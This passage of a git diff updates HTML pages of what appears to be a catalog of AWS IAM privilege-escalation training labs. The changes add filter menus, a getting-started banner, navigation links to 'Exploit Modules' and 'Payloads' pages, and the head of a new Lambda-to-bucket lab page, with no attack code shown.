+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/lambda-002/index.html b/docs/labs/lambda-002/index.html
index e360578b..c481bfd2 100644
--- a/docs/labs/lambda-002/index.html
+++ b/docs/labs/lambda-002/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/lambda-003-to-bucket/index.html b/docs/labs/lambda-003-to-bucket/index.html
new file mode 100644
index 00000000..11d8b657
--- /dev/null
+++ b/docs/labs/lambda-003-to-bucket/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Lambda Function Code Update to Bucket - pathfinding.cloud Labs</title>
+    <meta name="description" content="Modifying existing Lambda function code to execute malicious logic under privileged execution role with S3 bucket access">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/lambda-003-to-bucket/">
+    <meta property="og:title" content="Lambda Function Code Update to Bucket - pathfinding.cloud Labs">
+    <meta property="og:description" content="Modifying existing Lambda function code to execute malicious logic under privileged execution role with S3 bucket access">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="Lambda Function Code Update to Bucket - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Modifying existing Lambda function code to execute malicious logic under privileged execution role with S3 bucket access">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
